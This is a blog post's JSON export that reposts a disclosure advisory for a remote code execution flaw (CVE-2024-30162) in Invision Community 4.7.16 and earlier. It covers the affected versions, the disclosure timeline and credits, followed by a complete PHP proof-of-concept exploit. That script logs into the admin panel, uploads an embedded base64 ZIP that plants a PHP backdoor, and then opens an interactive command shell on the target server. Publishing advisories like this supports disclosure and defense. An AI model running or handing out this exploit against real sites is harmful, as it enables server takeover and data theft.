{"id":56119,"date":"2024-04-08T18:49:55","date_gmt":"2024-04-08T14:49:55","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177983\/KIS-2024-03.txt"},"modified":"2024-04-08T18:49:55","modified_gmt":"2024-04-08T14:49:55","slug":"invision-community-4-7-16-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/invision-community-4-7-16-remote-code-execution\/","title":{"rendered":"Invision Community 4.7.16 Remote Code Execution"},"content":{"rendered":"<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>Invision Community &lt;= 4.7.16 (toolbar.php) Remote Code Execution Vulnerability<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n[-] Software Link:<\/p>\n<p>https:\/\/invisioncommunity.com<\/p>\n[-] Affected Versions:<\/p>\n<p>Version 4.7.16 and prior versions.<\/p>\n[-] Vulnerability Description:<\/p>\n<p>The vulnerability is located in the<br \/>\/applications\/core\/modules\/admin\/editor\/toolbar.php script.<br \/>Specifically, into the<br \/>IPS\\core\\modules\\admin\\editor\\_toolbar::addPlugin() method, which will<br \/>handle<br \/>the upload of a ZIP file, trying to extract its content into the<br \/>\/applications\/core\/interface\/ckeditor\/ckeditor\/plugins\/ directory; if<br \/>the ZIP archive does not include<br \/>a plugin.js file, then the extracted ZIP content will be recursively<br \/>deleted from the file system,<br \/>otherwise it will stay there. This can be exploited to execute<br \/>arbitrary PHP code by uploading a<br \/>ZIP archive containing a plugin.js file (which can also be empty)<br \/>along with a PHP file. Successful<br \/>exploitation of this vulnerability requires an Administrator account<br \/>having the &#8220;toolbar_manage&#8221; permission.<\/p>\n[-] Proof of Concept:<\/p>\n<p>https:\/\/karmainsecurity.com\/pocs\/CVE-2024-30162.php<\/p>\n[-] Solution:<\/p>\n<p>No official solution is currently available.<\/p>\n[-] Disclosure Timeline:<\/p>\n[08\/01\/2024] &#8211; Vulnerability details sent to SSD Secure Disclosure<br \/>[12\/03\/2024] &#8211; Version 4.7.16 released, but the issue is still not fixed<br \/>[20\/03\/2024] &#8211; CVE identifier requested<br \/>[24\/03\/2024] &#8211; CVE identifier assigned<br \/>[05\/04\/2024] &#8211; Coordinated public disclosure<\/p>\n[-] CVE Reference:<\/p>\n<p>The Common Vulnerabilities and Exposures project (cve.mitre.org)<br \/>has assigned the name CVE-2024-30162 to this vulnerability.<\/p>\n[-] Credits:<\/p>\n<p>Vulnerability discovered by Egidio Romano.<\/p>\n[-] Other References:<\/p>\n<blockquote class=\"wp-embedded-content\" data-secret=\"DXRYkxdQwG\"><p><a href=\"https:\/\/ssd-disclosure.com\/ssd-advisory-ip-board-nexus-rce-and-blind-sqli\/\" target=\"_blank\" rel=\"noopener\">SSD Advisory &#8211; IP.Board &#8216;nexus&#8217; RCE and Blind SQLi<\/a><\/p><\/blockquote>\n<p><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; clip: rect(1px, 1px, 1px, 1px);\" title=\"&#8220;SSD Advisory &#8211; IP.Board &#8216;nexus&#8217; RCE and Blind SQLi&#8221; &#8212; SSD Secure Disclosure\" src=\"https:\/\/ssd-disclosure.com\/ssd-advisory-ip-board-nexus-rce-and-blind-sqli\/embed\/#?secret=KRrNah7Qd4#?secret=DXRYkxdQwG\" data-secret=\"DXRYkxdQwG\" width=\"500\" height=\"282\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe><\/p>\n[-] Original Advisory:<\/p>\n<p>http:\/\/karmainsecurity.com\/KIS-2024-03<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>PoC:<\/p>\n<p>&lt;?php<\/p>\n<p>\/*<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>Invision Community &lt;= 4.7.16 (toolbar.php) Remote Code Execution Vulnerability<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>author&#8230;&#8230;&#8230;&#8230;..: Egidio Romano aka EgiX<br \/>mail&#8230;&#8230;&#8230;&#8230;&#8230;.: n0b0d13s[at]gmail[dot]com<br \/>software link&#8230;&#8230;.: https:\/\/invisioncommunity.com<\/p>\n<p>+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+<br \/>| This proof of concept code was written for educational purpose only. |<br \/>| Use it at your own risk. Author will be not responsible for any damage. |<br \/>+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+<\/p>\n[-] Vulnerability Description:<\/p>\n<p>The vulnerability is located in the \/applications\/core\/modules\/admin\/editor\/toolbar.php script.<br \/>Specifically, into the IPS\\core\\modules\\admin\\editor\\_toolbar::addPlugin() method, which will<br \/>handle the upload of a ZIP file, trying to extract its content into the<br \/>\/applications\/core\/interface\/ckeditor\/ckeditor\/plugins\/ directory; if the ZIP archive does<br \/>not include a plugin.js file, then the extracted ZIP content will be recursively deleted<br \/>from the file system, otherwise it will stay there. This can be exploited to execute<br \/>arbitrary PHP code by uploading a ZIP archive containing a plugin.js file (which can<br \/>also be empty) along with a PHP file. Successful exploitation of this vulnerability<br \/>requires an Administrator account having the &#8220;toolbar_manage&#8221; permission.<\/p>\n[-] Original Advisory:<\/p>\n<p>https:\/\/karmainsecurity.com\/KIS-2024-03<br \/>*\/<\/p>\n<p>set_time_limit(0);<br \/>error_reporting(E_ERROR);<\/p>\n<p>if (!extension_loaded(&#8220;curl&#8221;)) die(&#8220;[-] cURL extension required!\\n&#8221;);<\/p>\n<p>if ($argc != 4) die(&#8220;\\nUsage: php $argv[0] &lt;URL&gt; &lt;Email&gt; &lt;Password&gt;\\n\\n&#8221;);<\/p>\n<p>$url = $argv[1];<br \/>$email = $argv[2];<br \/>$passwd = $argv[3];<br \/>$ch = curl_init();<\/p>\n<p>@unlink(&#8216;.\/cookies.txt&#8217;);<\/p>\n<p>curl_setopt($ch, CURLOPT_HEADER, true);<br \/>curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br \/>curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);<br \/>curl_setopt($ch, CURLOPT_COOKIEJAR, &#8216;.\/cookies.txt&#8217;);<br \/>curl_setopt($ch, CURLOPT_COOKIEFILE, &#8216;.\/cookies.txt&#8217;);<\/p>\n<p>print &#8220;[+] Logging into AdminCP\\n&#8221;;<\/p>\n<p>curl_setopt($ch, CURLOPT_URL, &#8220;{$url}admin\/?app=core&amp;module=system&amp;controller=login&#8221;);<br \/>curl_setopt($ch, CURLOPT_POST, false);<\/p>\n<p>if (!preg_match(&#8216;\/csrfKey: &#8220;([^&#8221;]+)&#8221;\/i&#8217;, curl_exec($ch), $csrf)) die(&#8220;[-] CSRF token not found!\\n&#8221;);<\/p>\n<p>curl_setopt($ch, CURLOPT_POSTFIELDS, &#8220;csrfKey={$csrf[1]}&amp;auth=&#8221;.urlencode($email).&#8221;&amp;password={$passwd}&amp;_processLogin=usernamepassword&#8221;);<\/p>\n<p>if (!preg_match(&#8220;\/303 See Other\/i&#8221;, curl_exec($ch))) die(&#8220;[-] Login failed!\\n&#8221;);<\/p>\n<p>print &#8220;[+] Uploading malicious ZIP file\\n&#8221;;<\/p>\n<p>curl_setopt($ch, CURLOPT_URL, &#8220;{$url}admin\/?app=core&amp;module=editor&amp;controller=toolbar&amp;do=addPlugin&#8221;);<br \/>curl_setopt($ch, CURLOPT_POST, false);<\/p>\n<p>if (!preg_match(&#8216;\/csrfKey: &#8220;([^&#8221;]+)&#8221;\/i&#8217;, curl_exec($ch), $csrf)) die(&#8220;[-] CSRF token not found!\\n&#8221;);<\/p>\n<p>$plg = md5(time()).&#8221;.zip&#8221;;<\/p>\n<p>@file_put_contents(&#8220;rce.zip&#8221;, base64_decode(&#8220;UEsDBAoDAAAAADxvKFgecSjnMgAAADIAAAAJAAAAaW5kZXgucGhwPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VSVkVSWydIVFRQX0MnXSkpOyA\/PgpQSwMECgMAAAAAQG8oWAAAAAAAAAAAAAAAAAkAAABwbHVnaW4uanNQSwECPwMKAwAAAAA8byhYHnEo5zIAAAAyAAAACQAkAAAAAAAAACCAtIEAAAAAaW5kZXgucGhwCgAgAAAAAAABABgAgMvlSzJC2gGAy+VLMkLaAYDL5UsyQtoBUEsBAj8DCgMAAAAAQG8oWAAAAAAAAAAAAAAAAAkAJAAAAAAAAAAggLSBWQAAAHBsdWdpbi5qcwoAIAAAAAAAAQAYAAC84E4yQtoBALzgTjJC2gEAvOBOMkLaAVBLBQYAAAAAAgACALYAAACAAAAAAAA=&#8221;));<\/p>\n<p>$params = [&#8220;csrfKey&#8221; =&gt; $csrf[1], &#8220;form_submitted&#8221; =&gt; 1, &#8220;editor_plugin_zip_noscript[]&#8221; =&gt; new CURLFile(&#8220;rce.zip&#8221;, &#8220;&#8221;, $plg)];<\/p>\n<p>curl_setopt($ch, CURLOPT_POSTFIELDS, $params);<\/p>\n<p>if (!preg_match(&#8220;\/301 Moved Permanently\/i&#8221;, curl_exec($ch))) die(&#8220;[-] Upload failed!\\n&#8221;);<\/p>\n<p>print &#8220;[+] Launching shell\\n&#8221;;<\/p>\n<p>curl_setopt($ch, CURLOPT_URL, &#8220;{$url}applications\/core\/interface\/ckeditor\/ckeditor\/plugins\/{$plg}\/&#8221;);<br \/>curl_setopt($ch, CURLOPT_POST, false);<\/p>\n<p>$phpcode = &#8220;print &#8216;____&#8217;; passthru(base64_decode(&#8216;%s&#8217;)); print &#8216;____&#8217;;&#8221;;<\/p>\n<p>while(1)<br \/>{<br \/>print &#8220;\\ninvision-shell# &#8220;;<br \/>if (($cmd = trim(fgets(STDIN))) == &#8220;exit&#8221;) break;<br \/>curl_setopt($ch, CURLOPT_HTTPHEADER, [&#8220;C: &#8220;.base64_encode(sprintf($phpcode, base64_encode($cmd)))]);<br \/>preg_match(&#8216;\/____(.*)____\/s&#8217;, curl_exec($ch), $m) ? print $m[1] : die(&#8220;\\n[-] Exploit failed!\\n&#8221;);<br \/>}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;Invision Community &lt;= 4.7.16 (toolbar.php) Remote Code Execution Vulnerability&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; [-] Software Link: https:\/\/invisioncommunity.com [-] Affected Versions: Version 4.7.16 and prior versions. [-] Vulnerability Description: The vulnerability is located in the\/applications\/core\/modules\/admin\/editor\/toolbar.php script.Specifically, into theIPS\\core\\modules\\admin\\editor\\_toolbar::addPlugin() method, which willhandlethe upload of a ZIP file, trying to extract its content into the\/applications\/core\/interface\/ckeditor\/ckeditor\/plugins\/ directory; ifthe ZIP archive does not includea &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56119","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56119","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56119"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56119\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56119"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56119"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56119"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}